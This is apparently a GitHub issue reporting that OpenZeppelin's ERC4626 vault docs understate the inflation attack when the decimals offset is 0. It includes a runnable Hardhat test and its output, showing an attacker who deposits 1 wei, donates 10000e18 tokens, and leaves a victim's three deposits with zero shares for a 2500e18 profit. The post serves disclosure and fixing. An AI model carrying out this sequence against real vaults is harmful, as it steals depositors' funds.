ERC4626 inflation issue

[Skyge]

As the ERC4626 description

If the offset is 0, the attacker loss is at least equal to the user’s deposit.

These two parts work together in enforcing the security of the vault. 
First, the increased precision corresponds to a high rate, 
which we saw is safer as it reduces the rounding error when computing the amount of shares.
Second, the virtual assets and shares (in addition to simplifying a lot of the computations)
capture part of the donation, 
making it unprofitable for a developer to perform an attack.

I think when _decimalsOffset() is 0, one attacker can also get profits.
I made a test case, there are two accounts: Attacker and Victim.

• Attacker deposits 1 asset to get 1 share
• Attacker donates 10000e18 asset to the vault
• Victim deposit 5000e18 asset for three times
• Attacker redeem 1 share to get profits(About 2500e18 asset)

Here are test case code(Can insert the test code at ERC4626.test.js to have a test):

    it.only('Inflation Attack', async function () {
        // Attacker: Spender, Victim: Recipient
        // Holder transfer token to victim(recipient)
        await this.token.connect(this.holder).transfer(this.recipient, 15000n * 10n ** 18n);
        // Holder transfer token to attacker(spender)
        await this.token.connect(this.holder).transfer(this.spender, 20000n * 10n ** 18n);

        const attackerOriginalTokenBalance = ethers.formatUnits(await this.token.balanceOf(this.spender.address));
        // Attacker approves to vault to deposit
        await this.token.connect(this.spender).approve(this.vault.target, ethers.MaxUint256);
        // Deposit
        console.log('Attacker deposits 1 asset');
        await this.vault.connect(this.spender).deposit(1, this.spender.address);
        console.log('Attacker share: ', ethers.formatUnits(await this.vault.balanceOf(this.spender.address)));

        console.log('Before donation, vault asset: ', ethers.formatUnits(await this.vault.totalAssets()));
        console.log('Attacker donates 10000e18 asset to the vault');
        const donationAmount = 10000n * 10n ** 18n;
        await this.token.connect(this.spender).transfer(this.vault.target, donationAmount);
        console.log('After donation, vault asset: ', ethers.formatUnits(await this.vault.totalAssets()));

        // Victim approves to vault to deposit
        await this.token.connect(this.recipient).approve(this.vault.target, ethers.MaxUint256);

        const victimDepositedAmount = 5000n * 10n ** 18n;
        // Victim deposits by 3 times with 5000e18 assets
        for (let i = 0; i < 3; i++) {
          console.log(`Victim deposits 5000e18 asset for the ${i + 1} time`);
          await this.vault.connect(this.recipient).deposit(victimDepositedAmount, this.recipient.address);
          console.log('Victim gets share amount: ', ethers.formatUnits(await this.vault.balanceOf(this.recipient)));
          console.log('Vault asset: ', ethers.formatUnits(await this.vault.totalAssets()));
        }
        // Victim has spent all asset
        expect(await this.token.balanceOf(this.recipient.address)).to.be.eq(0);

        console.log('Attacker original token balance: ', attackerOriginalTokenBalance);
        console.log('Attacker withdraw 1 share');
        await this.vault.connect(this.spender).redeem(1, this.spender.address, this.spender.address);
        const attackerCurrentTokenBalance = ethers.formatUnits(await this.token.balanceOf(this.spender.address));
        console.log('Attacker current token balances: ', attackerCurrentTokenBalance);
        console.log('Attacker gets token profits:     ', attackerCurrentTokenBalance - attackerOriginalTokenBalance);
        console.log('Vault asset: ', ethers.formatUnits(await this.vault.totalAssets()));
      });

The results are:

  ERC4626
    offset: 0
Attacker deposits 1 asset
Attacker share:  0.000000000000000001
Before donation, vault asset:  0.000000000000000001
Attacker donates 10000e18 asset to the vault
After donation, vault asset:  10000.000000000000000001
Victim deposits 5000e18 asset for the 1 time
Victim gets share amount:  0.0
Vault asset:  15000.000000000000000001
Victim deposits 5000e18 asset for the 2 time
Victim gets share amount:  0.0
Vault asset:  20000.000000000000000001
Victim deposits 5000e18 asset for the 3 time
Victim gets share amount:  0.0
Vault asset:  25000.000000000000000001
Attacker original token balance:  20000.0
Attacker withdraw 1 share
Attacker current token balances:  22500.0
Attacker gets token profits:      2500
Vault asset:  12500.0

So I think the description in the docs is a little inaccurate, when _decimalsOffset() is 0, there are still situations where profits can be made.
And how about setting a bigger default value for _decimalsOffset(), find a similar issue about this: #4774 but not quite the same.